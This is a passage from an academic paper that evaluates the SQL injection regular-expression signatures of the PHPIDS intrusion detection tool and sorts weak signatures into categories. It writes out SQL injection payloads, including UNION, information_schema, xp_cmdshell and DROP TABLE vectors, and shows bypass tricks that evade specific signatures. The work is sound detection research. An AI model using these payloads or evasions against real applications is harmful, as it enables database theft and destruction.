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Abstract 
 
Signature-based Intrusion Detection System (SIDS) provides a promising solution to the problem of web application 
security.  However, the performance of the system highly relies on the quality of the signatures designed to detect 
attacks. A weak signature set may considerably cause an increase in false alarm rate, making impractical to deploy 
the system. The objective of the paper is to identify the flaws in the signature structure which are responsible to 
reduce the efficiency of the detection system. The paper targets SQL injection signatures particularly. Initially, some 
essential concepts of the domain of the attack that should be focused by the developer in prior to designing the 
signatures have been discussed. Afterwards, we conducted a case study on the well known PHPIDS tool for 
analyzing the quality of its SQL signatures. Based on the analysis, we identify various flaws in the designing 
practice that yield inefficient signatures. We divide the weak signatures into six categories, namely incomplete, 
irrelevant, semi-relevant, susceptible, redundant and inconsistent signatures. Moreover, we quantify these 
weaknesses and define them mathematically in terms of set theory. To the best of our knowledge, we have identified 
some novel signature design issues. The paper will basically assist the signature developer to know what level of 
expertise is required for devising a quality signature set and how a little ignorance may lead to deterioration in the 
performance of the SIDS. Furthermore, a security expert may evaluate the detector against the identified flaws by 
conducting structural analysis on its signature set.  
Keywords: Intrusion Detection System (IDS), Cyber Security, SQL Injection, Software Testing, Signatures 
1. Introduction 
 
The issue of securing web application from the continuously growing malicious activities is in a state of flux
1
. The 
increasing dependency on web applications for everyday activities such as online banking, shopping, social 
networking, etc. make these applications a lucrative asset for the attackers. According to the latest security report 
(the year 2017)
2
, there is 35% increment in the number of web application attacks from the previous year. One more 
study
3
 reports that 60% of cyber attacks either target the web applications or use them as a vector in the attack. 
Intrusion Detection System (IDS) is one of the security solutions employed to safeguard web applications from 
cyber attacks (Depren et al. 2005). The main objective of these systems is to recognize a suspicious client-request to 
the web application. Anomaly-based detection and signature-based detection are the two common approaches used 
to build these systems. The Anomaly-based IDS (AIDS) is first trained to learn the benign usage behaviour of the 
application and then used to classify any deviation from the trained behaviour as an attempt to attack (Kruegel et al. 
2003), whereas the Signature-based IDS (SIDS) is provided with the patterns of known attacks in order to identify 
the suspicious activities (Almgren et al. 2000).The advantage of signature-based systems over AIDS is that they 
generate comparatively lesser false positive rates whereas, on the downside, the SIDS is not capable enough to 
detect unknown or modified attacks. The performance of the signature-based systems is strongly affected by the 
quality of the signature set (Kim et al. 2004; Yegneswaran et al. 2005). A weak signature set may result in 
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significantly high false alerts which would make the IDS unfeasible to use.  Since these signatures are mostly 
created by a security expert, their quality has a strong dependency on the knowledge extent of the expert about the 
attack domain, and how precisely the patterns of the attacks are captured and implemented. Both incomplete 
knowledge of attack domain and flaws in implementing the detection rules will lead to the formation of a poor 
quality signature set which later on reduces the efficiency of the SIDS.  
Attackers have a list of vulnerabilities to exploit a website (Wichers 2013) and the domain of the attack 
vectors varies significantly with the class of vulnerabilities. For instance, attack vectors targeting SQL vulnerability 
make use of SQL elements and related operations (Morgan 2006), whereas XSS-based attack vectors mostly 
comprise elements of HTML or JavaScript language (Spett 2005).  The attackers have a number of ways to exploit a 
single vulnerability or can even create an indefinite number of mutants of an attack vector (e.g. using whitespaces, 
special characters or encoding techniques) to bypass an IDS. Therefore, it is necessary for a signature developer to 
have sound technical understanding of the respective vulnerability and its attack domain. However, acquiring sound 
knowledge about the attack vectors would not be enough to build an efficient SIDS. The defined rules set equally 
plays a vital role for a successful SIDS. If the signature set is not complete or the signature pattern is not 
implemented correctly, the system may allow the attack vectors to penetrate into a web application. There is also a 
common trade-off between deciding the sensitivity and specificity of a signature. A generic signature can be 
modeled to obtain greater detection coverage and deal with the variations of attack vectors but it might affect the 
legitimate request traffic by mistakenly categorizing them as attacks in often. Also, different précised signatures can 
be modeled to handle different forms of attack vectors to reduce the false positives. But a specific signature would 
put the application security at stake by not issuing an alert on the slightly modified attack vector.  
In the paper, we studied the structure of the signatures designed to detect the SQL injection and have 
identified various flaws made by the signature developers and lead to a poor quality signature set. SQL injection 
(SQLi) is one the attacks classes which exploits the input validation vulnerability to perform unauthorized 
operations on the database server of the web application (Clarke-Salt 2009). However, the flaws identified in the 
paper are not limited to SQLi signatures but applies universally to any signature set designed to detect intrusions. 
The paper first discusses the concepts of the attack domain and the SQL technology that must be known to the 
developer prior to design the signatures. It explains the relationships that exist among SQL, attack vectors and 
signatures and highlights various peculiar and finer details that might ignore by the developer while analyzing and 
extracting patterns from the attack vectors. Afterwards, we conducted an experiment on the PHPIDS tool, a PHP-
based Intrusion Detection System in order to analyze the quality of the structure of the signatures particularly for 
detecting SQLi attacks. We created a set of total 415 attack vectors with 5 attacks vectors per signature (given in 
Appendix A). We used an iMacros-based script
4
 to automate the process of sending attack requests to the vulnerable 
web application hosted on localhost. The quality is assessed on various parameters including evaluation of the 
contribution of the individual signatures in the detector, sensitivity and specificity in the designed signatures and 
identifying the attack vectors which can bypass the IDS. Based on the structural analysis, we identify various 
signature design issues that cause a poor signature set even after proficient knowledge of the attack domain. 
Moreover, we quantify the flaws and described them mathematically in terms of set theory. The mathematical 
definitions would help the security expert to assess the SIDS via conducting structural analysis from various 
perspectives.   The contribution of the work is three-fold: (1) We discuss the key points to be focused while attaining 
the knowledge of SQL-based attack vectors in order to formulate efficient signatures. (2) We perform a case study 
where we assess the structure of the signatures of the PHPIDS. (3) We reveal a number of pitfalls in the signature 
design and describe them mathematically. 
The paper is structured as follows: In section 2, the paper discusses the relevant work. In section 3, the 
paper talks about the relationship between the signatures and attack domain of the SQL injection. Section 4 presents 
the case study where an experiment is carried out to assess the quality of the signatures of the PHPIDS software.  It 
is followed by the section 5 which provides the description of design issues identified while studying the structure of 
PHPIDS signatures. Finally, the section 6 concludes the paper and also mentions the future direction. 
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 2. Related Work 
 
Signature-based systems have been extensively adopted as a security measure to address the cyber attacks in various 
domains such as detecting intrusive activities on the cloud or network (Vaidya 2001; Roschke et al. 2009), 
identifying internet worms (Tang et al. 2007), malware (Zheng et al. 2013), etc. Just like any other software, 
intrusion detection systems are also associated with a number of defects and errors, therefore, need to be tested to 
ensure the expected quality. The security experts assess these systems on various performance measures to verify 
their effectiveness (Mel et al. 2003; Zanero 2007; Massicotte et al. 2012; Massicotte et al. 2015). Detection coverage 
is one of the main testing parameters used to describe the capability of the system to prevent the attacks, and is also 
considered as a primary goal in building an IDS. However, evaluating the detection coverage is quite a difficult task 
as identifying a complete set of intrusion activities that might occur is not possible (Igure et al. 2008). In a study 
(Puketza et al. 1996), the authors have tested non-functional requirements of the Network Security Monitor (NSM) 
(Heberlein et al. 1990) on the basis of two more parameters, namely resource usage and resilience to stress. The 
resource usage testing helps to evaluate the resources such as CPU time and memory space consumed by the IDS. If 
the system is found to consume excessive resources, it might become impractical to deploy in a real environment. 
Resilience testing helps to measure the ability of the system to withstand the stress conditions such as excessive 
workload, abundant noise, etc. The IDS suffers through a unique problem, the “blind spots” that refers to the classes 
of attack vectors which are missed by the detector. It is possible for an attacker to examine the design of IDS which 
are commercially and openly available and identify the possible blind spots which might help them to evade these 
systems.  In the work (Vigna et al. 2004), the authors proposed a framework to automatically generate variants of 
the attacks to identify blind spots in the system and tested the detection capabilities of two well known network-
based IDS, namely RealSecure (Wassom 2003) and Snort (Roesch, 1999).  
The existing literature has mostly used black-box approach to cross-examine a detection system in which 
the performance is tested against a large set of attack vectors. However, the performance of the systems is highly 
driven by the fact that how efficient the signatures have been structured. Keeping this in mind, several researchers 
have adopted the white-box approach and proposed techniques to perform structural analysis of the IDS signatures. 
For example, constant addition of new signatures in the database over time in order to cope up with new 
vulnerabilities and exploiting mechanisms often results in the generation of redundant signatures in the database. In 
a study (Stakhanova et al.2010), the authors have proposed an approach based on Non-deterministic Finite Automata 
(NFA) to identify such signatures and resolve the semantic inconsistencies in the rules set of the IDS. In another 
study (Massicotte et al. 2011), the authors attempt to identify the overlapped signatures in the signature database of 
Snort IDS. Overlapped signatures refer to the signatures which are triggered simultaneously on the same group of 
attack vectors. The authors in this study have used automata theory and set theory to characterize the signatures and 
identify overlaps respectively. In proposed work, the structure of the signatures has been analyzed to examine 
various factors such as the contribution of individual signature in the detection coverage, specificity and sensitivity 
in the signatures, etc. Moreover, based on structural analysis we identified few more issues in the design of 
signatures other than overlapping and redundancy which are responsible for a poor quality signature set.  
  
3. SQL Injection Attack Vectors 
 
It is a well-known fact that for designing a quality signature set, the developer must acquire a profound knowledge 
of the concerned domain. But gathering the knowledge would not be productive until we are focused and know the 
significant details which are important from the signature design point of view. SQL injection signatures relate to 
the attack vectors to be detected, and attack vectors are related to the programming elements of SQL. Although there 
exists a plethora of literature on SQL technology and SQL-based attacks (Clarke-Salt 2009), but in this section, we 
discuss their concepts exclusively from the signature design point of view. Attackers mostly use unconventional 
ways of the SQL technology to poison the original query in order to conduct unauthorized operations on the 
database. The section explains the relationships that exist among SQL, its attack vectors and signatures, and 
highlights a number of peculiar points that are important for designing the signatures. The presented knowledge will 
help a developer to gain the understanding and make him aware about the fine details which he might ignore 
otherwise. The relationship can be realized by looking into the following concepts.  
3.1    Structure of Attack vectors 
An arbitrary input would not cause successful injection.  An attack vector needs to be in a specific format in order to 
produce the desired result. A number of techniques are being used to exploit SQLi vulnerabilities (Depren et al. 
2005; Bau et al. 2010) and each technique is associated with its respective set of attack vectors. For instance, the 
tautology-based injection technique targets the „WHERE‟ clause of the query and inject the code to control the result 
of the conditional parameter. The attack vectors using this technique make use of Boolean operators such as OR, 
AND, ||, &&, ^, etc. to infect the query. Below are given some examples of queries modified by the tautology-based 
attack vectors. 
 Select * from user_table where id = 1 or 0 
 Select * from user_table where id = 1 or(1) 
 Select * from user_table where id = 1 ||0 
 If we closely look at the two operators, OR and || from the signature aspect, although these operators appear 
similar from the operational perspective but they somewhat require different regular expressions to recognize them. 
The „OR‟ operator must be followed by certain special characters such as space (\s) and bracket (\() which is not the 
requirement of its symbolic operator „||‟. If the developer fails to understand such finer details, the result may be 
formation of poor signatures. e.g. the regular expression, (?:(?:n?and|x?or|not|\|\||\&\&)\W+\w+) will fail to detect 
last attack vector whereas the expression  (?:(?:(\W+(n?and|x?or|not)\W+)|\|\||\&\&)\W*\w+) has the potential to 
detect all three vectors.However, it is to be noted that detecting attack vectors should not be the sole criteria of the 
signature. A special care should also be taken to ensure that the signature does not categorize benign input as 
malicious. For example, the regular expression, (?:(?:n?and|x?or|not|\|\||\&\&)\W*\w+) is also capable to detect all 
of the attack vectors but it raises the risk of getting false positive rates as well. The signature will put all the input 
containing „or‟ as substring into the suspicious list, such as projector, actor, preorder and so on.  
Union-based exploitation is another injection technique which uses „UNION‟ clause to join the forged query to 
the original query. It allows the attacker to obtain the records of other tables. An instance of the query infected by 
the attack code is given below.  
 Select id, name from user_table where id = 1union select id, name from product_table 
(?:union\W+select) seems a good expression to detect such attack vectors. But since union clause can also be 
followed by “all/distinct/distinctrow” predicates, it allows the attackers a wide option to fool the signature.  
The two injection techniques discussed above show that what exact knowledge a developer should have 
about the structure of attack vectors for formulating the rules. A small mistake in the knowledge domain will lead to 
the creation of signature with holes and allow the attacker to launch the attack.  
 
3.2    DBMS Variations 
SQL is supported by a number of Relational Database Management Systems (RDBMSs) including MySQL, 
Microsoft SQL Server and ORACLE. Although all of them implement the same SQL syntax but there do exist 
certain differences in terms of SQL query code and supported keywords. Here, we highlight some of the differences 
that exist between MySQL and SQL Server. The below two code snippets demonstrate the syntactic variation 
between their queries.  In the case of SQL Server, both of the following code snippets (1 and 2) are valid, whereas 
for MySQL only first snippet is working. 
1. insert abc values (1)   (supported by SQL Server only)   
2. insert into abc values(1)   (supported by both SQL Server and MySQL) 
Due to these minor syntactic variations, there is a high possibility that the signatures created for one database system 
would fail to detect attack vectors for another database system. Following are given two regular expressions. The 
signature expression, (?:insert\W+\w) will recognize both the code snippets in user input as the attack vectors 
whereas (?:insert into\W+\w) expression will fail to detect first snippet in the input. 
Besides syntactic differences, the list of supported SQL keywords and operators also vary in different database 
systems. For example, „LIMIT‟ clause which is not part of standard SQL, is supported as a vendor extension by 
MySQL while SQL server uses „TOP‟ clause to perform the similar operation. 
 select top 3 * from customers  (supported by SQL Server only) 
 select * from customers limit 3  (supported by MySQL only) 
As for another example,  MySQL supports both the operators, double dash (--) or hash (#) to add an inline comment 
in the query whereas SQL Server supports only double dash (--) to place the comment. 
 Select * from abc where id = 1 or 1=1 # hhh        (supported by MySQL only) 
 Select* from abc where id =1 or 1=1 -- hhh (supported by both, MySQL and SQL Server) 
The attack vectors are tailored according to the underlying database, and since it is highly likely that signatures 
which are working fine for one database may fail in detecting attacks for another database, a developer should be 
aware of these DBMS variations before formulating the rules.   
 
3.3 Intention of attack vectors 
Attack vectors are intended to attain one of the three following objectives: to perform unauthorized operations on the 
server, raise logical error message and probe the web application. In order to perform unauthorized operations, the 
attacker has to craft malicious string intelligently. For example, consider the modified query , select id, name from 
user_tbl where id = 1 union select table_name, column_name from information_schema.columns. The query has 
been wisely tailored by the attacker so as to retrieve the list of all the tables stored in the database along with their 
column names. But before crafting such attack strings, the attacker first need to know the structure of the underlying 
query. The attacker can take the help of logical error messages generated by the server to serve the purpose which is 
also the second intention of attack vectors. It usually helps the attacker to gain information about the structure of the 
database or query.   The attack vectors again should follow a strict format so as to raise logical error message. For 
example, the attacker may use „order‟ clause and run following sequence of queries to determine the number of 
columns. 
 select id, name  from user_tbl where id =1 order by 1 ( case 1 ) 
 select id, name  from user_tbl where id =1 order by 2  (case 2) 
 select id, name  from user_tbl where id =1 order by 3 (case 3) 
The server will execute the first two queries but raise an error in the third case which provides the clue to the 
attacker that there are 2 columns. Probing is the third intention of the attack vectors which is basically used to 
determine whether the web application is vulnerable to injection attacks. The inverted comma is mostly used to 
discover whether the application is vulnerable. If the infected query causes the database server to raise a syntax 
error, the underlying web application is supposed to be exposed to SQL injections. For example, the following 
syntax error message is generated by MySQL server. 
 
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the 
right syntax to use near '"' at line 1 
 
The most important fact of the attack vectors used for probing the application is, they are not required to follow a 
rigid structure.  A simple mistake in the spelling of SQL clause may also cause the server to generate a syntax error. 
E.g. 
 select * from user_tbl where id =1 oder by 1 
 select * from user_tbl where id =1 ore by 1 
Since attack strings for serving the first two objectives must obey a specific format, the efficient signatures can 
be designed to capture such format in order to detect attacks. On the other hand, for covering the attack vectors used 
for probing, a signature needs to be highly generic in nature which might put the detection system at the risk of a 
greater number of false positive alarms. An alternative approach could be is to design a signature which inspects the 
output generated by the server (HTTP response) since the error generated by the database is mostly the same. 
 
3.4 Tampering Schemes 
The tampering schemes are particularly used by the attacker to evade the detection rules of the system. Attackers 
have a number of options to tamper the SQL attack vectors. Encoding techniques such as URL encoding, Base64 
encoding, Unicode encoding etc. are the most common methods used to bypass the SIDS. Case changing is another 
technique which will work effectively if the designed signatures are not case resistant. For instance, the regular 
expression (?:union\s+select) will fail to detect the attack payload containing “Union sElect” as a substring. The 
attacker may also play with white-spaces to bypass the rules. For example, the regular expression (?:union\s+select) 
will fail to detect the attack payload containing the string, “union%A0select” where %A0 represents the non-
breaking space character. Similarly, the space-sensitive regular expressions (e.g. (?:union\sselect)) will fail to detect 
the attack payload with irregular spacing in the content (e.g. union%20%20select). 
The tampering problems can be handled by pre-processing functions which convert the input into a 
standard format before applying the detection rules such as making all characters lower case, removing extra 
whitespaces, decoding it into same value, etc. It significantly lowers the burden on the signatures in terms of 
complexity and also enhances the performance of the system. However, there are some sophisticated tampering 
schemes which cannot be handled by pre-processing routines. Adding comments within the attack vectors is one of 
the notorious ways used by attackers to fool the signatures. For instance, the signature (?:union\s+select) can be 
bypassed using “union/**/select” or “union /*!select*/” in the attack vectors. Therefore, the developer is required to 
know which of the tampering schemes cannot be handled by pre-processing techniques and must be dealt with 
signatures. 
In the section, we discussed the key points to be focused while attaining the knowledge of the domain with 
respect to designing signatures for intrusion detection. The points are briefly summarized as under:  
 Each injection technique is associated with its set of attack vectors whose structure peculiarities need to be 
studied sincerely and rigorously. 
 There exist significant differences among different database systems in terms of syntax and supported 
keywords which might make the signatures designed for one system to perform poorly in another. 
 It is shown that signatures cannot be created for every attack vector, else it would result in extremely 
generic signatures which would in turn increase the number of false positive alerts. 
 Tampering schemes have also been discussed where it is observed that some of them can be handled at the 
pre-processing side while some need to be handled exclusively by the signatures. 
In the next section, we conducted a case study to analyze the quality of a signature set of PHPIDS, a well 
known signature-based intrusion detection system for web application attacks. 
4. Case Study 
 
The performance of SIDS relies strongly on the quality of the designed signatures. A good signature is generally the 
one that keeps a proper balance between the sensitivity and specificity level. We conducted an experiment on the 
PHPIDS tool - a PHP-based Intrusion Detection System to assess the quality of its signatures. The tool provides 
over 2,500 attack signatures for guarding PHP applications against different categories of web attacks such as XSS, 
SQLi, directory traversal, etc. In the experiment, we considered only those signatures which are designed to detect 
SQL injections. We assessed the detection tool based on the following parameters. 
 The contribution of individual signature in the detection mechanism to determine its worthiness in detector. 
 Sensitivity in the signatures to determine the risk of false positive rates. 
 Specificity in the signatures to determine the risk of false negative rates. 
 Presence of the blind spots in the IDS. 
We employed the white-box testing methodology to carry out the evaluation procedure. We analyzed the 
structure of each regular expression and designed 5 attack vectors per signature. The attack vector set was designed 
with the aim to cover each signature in testing. The assumption behind the experiment is that highly generic 
signatures would also detect those attack vectors in large number which were not designed for them, and highly 
specific signatures would detect only its set of attack vectors. 
In PHPIDS, the number of regular expressions for recognizing SQL attacks is over 100.  However, the 
experiment was conducted on 83 SQL injection signatures as we did not consider all of the signatures for the 
experiment. We considered only those signatures in the experiment for which logical attack vectors can be designed 
i.e. those vectors which make database server to either execute the injected query successfully or display some 
semantic error message. In PHPIDS, we found a number of signatures which will detect only those attack vectors 
that cause syntax errors. In section 3.3, we discussed that attack vectors causing syntax errors do not follow a rigid 
structure, and so are difficult to capture by the regular expressions which verify input data. These vectors can be 
efficiently handled by designing the signatures which inspect the HTTP response data. In order to evaluate the 
contribution of each signature, we created a set of total 415 attack vectors with 5 attacks vectors per signature. 
Appendix 1 provides the list of signatures under consideration along with their attack vectors. We developed a 
vulnerable web application, hosted it on the localhost and integrated it with the PHPIDS tool. We used an iMacros-
based script [12] to automate the process of sending attack requests to the website. The graph given in Figure 1 
shows the number of attack vectors detected by each signature. 
 
 
Fig.1 Detection statistics of signatures  
As it is clearly visible from the graph that there are some signatures whose contribution is far higher than 
the rest. For example, the signature, S7 itself detected 50.1% of attack vectors. Based on the contribution, the 
signatures are divided into two sets, namely A and B. Set A contains signatures which contributed highly to the 
detection process. It has total 10 signatures in the list as shown in Table 1. Set B contains rest of the signatures i.e. 
73. 
 The first observation what we made from the experiment is that the signatures listed in set A are generic in 
nature, and thereby providing the broader detection coverage while signatures in set B are more restrictive. For 
example, consider the signature, S79 (?:--[^\n]*$) from the set A and signature, S2 (?:"\s*(?:#|--|{)) from the set B. 
The former signature looks for the presence of double-dash (--) in the input whereas the later signature put extra 
restriction on the input and categorized it as suspicious if it minimum contains inverted comma (“) followed by 
either hash (#) or double-dash (--). The more restriction we put in the rules, the more specific it becomes and the 
lesser detection coverage it provides. 
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Table 1. List of signatures included in Set A 
Signature ID Regular expression of the signatures 
S7 (?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(?:n?and|x?or|not|\|\||\&\&)\s*[\w"[+&!@(),.-]) 
S15 (?:"[\s\d]*[^\w\s]+\W*\d\W*.*["\d]) 
S19 (?:union\s*(?:all|distinct|[(!@]*)?\s*[([]*\s*select) 
S35 (?:"\s*[^?\w\s=.,;)(]+\s*[(@"]*\s*\w+\W+\w) 
S44 (?:^[\W\d]+\s*(?:union|select|create|rename|truncate|load|alter|delete|update|insert|desc)) 
S72 (?:;?\s*(?:select|union|having)\s*[^\s]) 
S77 (?:\Wselect.+\W*from) 
S79 (?:--[^\n]*$)    
S81 (?:[^*]\/\*|\*\/[^*]) 
S36 (?:select\s*[\[\]()\s\w\.,"-]+from) 
 
In the next experiment, we compare the detection accuracy of the two sets individually on the same set of 
attack vectors. Figure 2 shows the detection statistics of the two sets with the help of Venn diagram. We observed 
that the set A which consists of just 10 signatures detected 386 attack vectors out of 415 whereas set B which has 73 
signatures detected 384 attack vectors. It implies that the signatures in set A are extremely sensitive as they are 
providing sufficient detection coverage to PHPIDS with only 10 signatures and capable to offer detection accuracy 
comparable to set B. Moreover, 7.5% of attack vectors are exclusively detected by set A which also signify the 
significance of these signatures in PHPIDS.  It is to be noted that although the generic signatures provide broader 
detection coverage but they also increase the risk of false positive alarms. For example, signatures, (S44 and S72) 
merely look for keywords such as “union”, “select”, “create”, etc. in the input string without imposing a restriction 
on the structure of the input where they have been used. Since these words are common in layman language, there 
are higher chances that benign input will also be categorized as suspicious.  
 
 
 
 
 
 
 
 
 
The second observation from the experiment is that 85.5% of attack vectors are detected by both the sets. 
After carefully assessing structure of the signatures from both sets, it is found that the generic signatures in the set A 
superseded most of the signatures of the set B.  For example, consider the signature, S72 
(?:;?\s*(?:select|union|having)\s*[^\s]). The minimum requirement for an input to trigger the signature is to contain 
words “select”, “union” or “having” as a substring. Some of the signatures of the set B superseded by S72 are shown 
in Table 2. It implies that the presence of such generic signatures in the detection system highly questions the 
existence of the superseded signatures by making them obsolete. 
Fig.2 Venn diagram to show detection statistics of sets A and B signatures 
Set B Set A 
Consists of 10 generic 
signatures 
31 attack vectors 
detected 
Consists of 73 non- 
generic signatures 
29 attack vectors 
detected 
355 
Attack vectors detected by 
set A and set B 
 Table 2. Examples of signatures of set B superseded by generic signature, S72 of set A 
Signature ID Regular Expression of the signatures 
S75 (?:\W+\d*\s*having\s*[^\s\-]) 
S74 (?:union select @) 
S33 (?:"\s*(?:n?and|x?or|not |\|\||\&\&)\s+[\s\w]+=\s*\w+\s*having) 
S38 (?:in\s*\(+\s*select) 
S49 (?:@.+=\s*\(\s*select) 
S55 (?:\(\s*select\s*\w+\s*\() 
 
The third observation drawn from the experiment is that 6.9% of attack vectors are particularly recognized by 
the signatures in set B. It is to be remembered that signatures in set B are specific whereas signatures in set A are 
generic. We found two main reasons why the generic signatures of set A could not handle these attack vectors. The 
first reason says that generic signatures are also not completely designed to capture all the variations that an attacker 
can use in a vector.  For example, consider the signature S7 
(?:(?:^["\\]*(?:[\d"]+|[^"]+"))+\s*(?:n?and|x?or|not|\|\||\&\&)\s*[\w"[+&!@(),.-]). The signature is crafted to 
detect logic operators in the attack payload, namely nand, and, xor, or, not, || and &&, and ignored two least used 
operators in its rule, “^” and “|”. It gives the attacker an open passage to attack the application without going 
detected by the generic signature as given in following examples. 
 1%20or%201%20or%201-1 Detected by S7 and S50 
 1%20|%201%20or%201-1 Detected by S50 only 
The second reason is that set A does not contain generic signature for every class of attack vectors. For example, 
there does not exist generic signature in the set A  with “group by” clause, and therefore the attack vector, 
1%20group%20by%20(2) is detected by the signature S51 (?:\d\s+group\s+by.+\() of set B only. Moreover, the 
attack category missed by the generic signatures provided us the clue to identify possible blind spots in the IDS as 
the non-generic signatures of set B are both susceptible and insufficient. The fourth observation records that there 
are plenty of attack vector for which there are no signatures in the detection system. In the table 3, we listed some of 
the susceptible signatures of the PHPIDS which let the attackers to penetrate into the application. The section of the 
attack vectors responsible to bypass the signatures has been highlighted in the table.  
Table 3. Examples of attack vectors bypassed by IDS due to the incapability of the signatures  
ID Regular expression Attack vector detected by 
IDS 
Attack Vector Bypassed by 
IDS 
S9 (?:@\w+\s+(and|or)\s*["\d]+) @1%20or%201|"1%20%20" (@1)%20or%201|"1%20%20
" 
S20 (?:[()*<>%+-][\w-]+[^\w\s]+"[^,]) (1|"1%20%20") (%201|"1%20%20") 
S51 (?:\d\s+group\s+by.+\() 1%20group%20by%20(1) 1%20group%20by%201 
S65 (?:procedure\s+analyse\s*\() 1%20procedure%20analyse(
) 
1%20procedure%A0analyse(
) 
S69 (?:\sexec\s+xp_cmdshell) 1%20;%20exec%20xp_cmds
hell%20%27dir%20*.exe%2
7; 
1%20;exec%20xp_cmdshell
%20%27dir%20*.exe%27; 
S52 (?:(?:;|#|--)\s*(?:drop|alter)) 1%20;%20drop%20table%2
0A 
1%20;%A0drop%20table%2
0A 
 
The case study of the signatures of PHPIDS tool entailed various significant observations about the quality 
of its signature set.  In the next section, we discuss the flaws in the design of the signatures based on the identified 
issues. 
5. Signature Design Issues 
 
In the previous section, we assessed the structure of signatures of the PHPIDS tool and identified various flaws in 
their design which yielded weak signatures and deteriorated the performance of SIDS. Based on the flaws in the 
signature designing practice, we divide the weak signatures into 6 categories which are discussed as follows: 
5.1  Incomplete signature 
 
There are a set of operators in the SQL which can be used in an attack vector in a similar way from the aspect of 
syntax. Logical operators in the SQL such as AND, OR, XOR, etc. are basically used to determine whether a row 
should be selected for the output and these operators can be used interchangeably in an attack vector to carry out an 
adversarial operation. Some instances of the attack vectors which are logically same from the attack perspective are 
shown as under. 
 1 xor 0 
 1 or 0 
 1 and 1 
It implies that the rules which have been designed for detecting one operator should also be designed for other 
operators as well. A complete signature would be the one that incorporates all of the related operators in its rule. 
Therefore, a signature is called incomplete if it specifies only some of the related operators in its rule. 
Mathematically, it can be defined as follows: 
Definition 1: Let 𝑅𝑂𝑆𝑄𝐿   = { set of related operators in SQL }, 𝑆𝑡𝑅𝑜  = { 𝑅𝑂𝑆𝑄𝐿(1) … . 𝑅𝑂𝑆𝑄𝐿(𝑚)  } and  𝑆𝑂(𝑛)= { set of 
operators used in signature,  𝑆(𝑛)}. A signature is incomplete iff, 
∃ 𝑅𝑂𝑆𝑄𝐿 𝑖   𝜖  𝑆𝑡𝑅𝑜   𝑠𝑢𝑐ℎ 𝑡ℎ𝑎𝑡  𝑅𝑂𝑆𝑄𝐿 𝑖 ∩  𝑆𝑂 𝑛  ≠  𝜙 𝑎𝑛𝑑  𝑅𝑂𝑆𝑄𝐿 𝑖  ⊄   𝑆𝑂 𝑛  , 
𝑤ℎ𝑒𝑟𝑒 𝑖 =  1 𝑡𝑜 𝑚     
The incomplete signature can easily be bypassed by the using the  𝑅𝑂𝑆𝑄𝐿 𝑖 / 𝑆𝑂(𝑛) operators in the attack 
payload. For example, let 𝑅𝑂𝑆𝑄𝐿(1) = {and, or, xor} and 𝑅𝑂𝑆𝑄𝐿(2) = {||,&&,^,|,&} are the two sets of related 
operators.  Consider the S6 signature, (?:"\s*or\s*"?\d).  𝑆𝑂(6)= {or}. The signature satisfies both the conditions of 
incomplete i.e.  𝑅𝑂𝑆𝑄𝐿 1 ∩  𝑆𝑂(6)  ≠  𝜙 𝑎𝑛𝑑  𝑅𝑂𝑆𝑄𝐿 1  ⊄   𝑆𝑂(6)  .  Since the signature is incomplete, attacker can 
evade the rule by using “AND” or “XOR” in the vector. Consider the S5 signature, 
(?:(?:(n?and|x?or|not)\s+|\|\||\&\&)\s*\w+\().  𝑆𝑂(5)= {nand, and, or, xor, not, ||, &&}. The signature does not fulfill 
the conditions of the definition with respect to set, 𝑅𝑂𝑆𝑄𝐿(1) , since  𝑅𝑂𝑆𝑄𝐿 1  ⊂  𝑆𝑂(5).  But, the signature does 
satisfy the criteria with the set, 𝑅𝑂𝑆𝑄𝐿(2) as  𝑅𝑂𝑆𝑄𝐿 2 ∩  𝑆𝑂(5)  ≠  𝜙 𝑎𝑛𝑑  𝑅𝑂𝑆𝑄𝐿 2  ⊄   𝑆𝑂(5). Thus, the S5 signature 
is also incomplete. 
The presence of incomplete signatures may create loopholes in the detection system. In section 4, we 
discussed that some attacks vectors managed to even bypass the IDS because of the incomplete design of the generic 
signature, S7. The signature ignored the three operators (|, & and ^) in the regular expression which provided a clear 
cut open gate to the hackers to enter into the database without being recognized. Therefore, it becomes important to 
assess the structure of the signatures to determine whether the signature developer specified all of the related 
operators in the rules. The completeness in the rules set makes the signatures efficient by enhancing their 
capabilities to detect variants of the attack vector. 
 5.2  Irrelevant signature 
In section 3.3, we discussed that from the perspective of intention of the attacker, a query can be modified by attack 
vectors to carry out one of the three objectives i.e. to make the database server successfully execute the query, to 
make it generate a semantic error or to make it raise a syntax error. We also observed that the attack vectors causing 
syntax errors are not restricted to a particular structure, and so make it extremely difficult to design a rule for 
detecting them. These attacks can be best handled by designing the rule that inspects the response generated by the 
server. 
In the irrelevant category, we put all those signatures in the list for which no logical attack vectors can be 
designed. Logical attack vectors imply that these are executed as the part of the SQL code in a manner that either an 
unauthorized operation is performed on the database or a logical error message is displayed to the attacker. The 
signature is termed irrelevant for two reasons. First, the signature does not detect any logical vectors. Second, these 
signatures are not intentionally designed to detect the illogical attack vectors (attack vectors causing syntax errors). 
It is due to the flaw in the design of the signature which makes it lose its significance in the detector. 
Mathematically, irrelevant signatures can be defined as follows: 
 
Definition 2: Let  𝐿𝑎  = { set of logical attack vectors} and  𝑆𝑎(𝑛) = { set of attack vectors detected by  𝑆(𝑛)  }. A 
signature is irrelevant iff  𝐿𝑎 ∩  𝑆𝑎(𝑛) =  𝜙. The condition is graphically represented in the form of Venn diagram in 
the following figure. 
 
 
 
 
Consider an irrelevant signature (?:"[\s\d]+=\s*\d) of the PHPIDS. In order to understand the flaw in the 
design of the signature, let us split the regular expression into two parts i.e. (“) and ([\s\d]+=\s*\d). Double-quotes 
(“) in the SQL injection vector either marks the end of string literal or beginning of the string literal. In the former 
case, it must be followed by some SQL operators such as logical operators (OR, AND, ||, etc.) and query operators 
(UNION, IN, etc.). But the regular expression does not provide any space for such operators, and so make the 
construction of logical attack vector nearly impossible. In the latter case, if double-quote marks the beginning of the 
string then everything followed by it until the next occurrence of double-quote will be treated as a string literal. The 
value of the string literal does not matter in the attack vector and has a range equal to [\W\w]*, therefore the second 
part of the regular expression loses its significance and does not make any sense.  Let‟s take an another example of 
the irrelevant signature, (?:"\s+and\s*=\W) of the detector. In this signature, the problem lies in the sub-expression 
(and\s*=) that demands the attack vector to use “AND” clause followed by “EQUAL” operator (=) with optional 
spaces. The “AND” clause need a predicate that evaluates to either 0 or some non zero value, and the “EQUAL “ 
operator must have operands on both the sides left-hand side and right-hand side. But the expression does not allow 
